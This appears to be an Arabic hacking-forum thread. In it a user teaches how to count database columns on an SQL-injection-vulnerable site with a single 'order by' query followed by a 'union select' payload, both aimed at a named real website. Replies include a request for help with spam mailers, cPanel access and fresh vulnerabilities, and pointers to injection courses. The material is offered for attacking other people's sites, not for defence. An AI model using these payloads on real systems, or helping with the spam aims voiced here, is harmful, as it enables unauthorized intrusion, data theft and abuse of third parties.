حصري استخراج عدد الاعمد بأمر واحد

[ABO-SAGER]

الحمد لله على نعمة الاسلام وكفى بها نعمة
و أشهد ألا إله إلا الله وحده لا شريك له و أن محمداً عبده و رسوله صلى الله عليه وسلم
و على آله و صحبه أجمعين و من تبعهم بإحسان إلى يوم الدين

أما بعد ..

ان شاء الله اليوم اريكم احد الحيل لاستخراج عدد الاعمده
بالمواقع المصابه من امر واحد .


موقع مصاب http://www.librarievirtuala.ro/display.php?id=2


نستخدم بعد الرابط الاستعلام التالى

+order by 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99

النتيجه


Unknown column '3' in 'order clause'

العامود رقم ثلاثه غير موجود يعني عدد الأعمدة

2

http://www.librarievirtuala.ro/display.php?id=-2 union select 1,2 --

لاحظ النتيجة
ظهر لنا الأعمدة

end

[POSEIDON]

جزاك الله خيرا

ممكن ايميلك لانى فى حاجات محتاج اتعلمها وعايز حد يكون خبير

[ABO-SAGER]

انا مركب باك تارك على جهازي يعني مافي ماسنجر

[POSEIDON]

): طيب انا كنت محتاج مساعدة فى بعض تولز عشان اسبام

ميلر او سى بانل ومحتاج منك تعلمنى ثغرة جديدة لان اللى معايا بقت قديمة وسيرفراتها مش بتدعم ميلرات

[k4$p3r-MA]

اقتباس المشاركة الأصلية كتبت بواسطة POSEIDON ): طيب انا كنت محتاج مساعدة فى بعض تولز عشان اسبام ميلر او سى بانل ومحتاج منك تعلمنى ثغرة جديدة لان اللى معايا بقت قديمة وسيرفراتها مش بتدعم ميلرات

اذا كنت مبتدى بدايتك هنا

دوره عالم المواقع SQL 1nj3ct!on

ثم

دورة الحقن المتقدم


اتمنى ان اكون افدتك

[Cyber Code]

جزاك الله خير, واصل وإلى الأمام اخي

[الشبح المرح]

متاكد انو الطريقة ناجحة مع باقس المواقع ..؟ ؟؟

[ABO-SAGER]

اقتباس المشاركة الأصلية كتبت بواسطة الشبح المرح متاكد انو الطريقة ناجحة مع باقس المواقع ..؟ ؟؟

لا ليست عند كل المواقع فقط عند المواقع التي تظهر لك Unknown column '3' in 'order clause' عند استخراج الأعمدة

[GHOST HACKERS]

مكشور لك على طريقه .اخي ..موفق
ان شاء الله يستفيد من الأعضاء ,,,
Abo-Sagre موفق ان شاء الله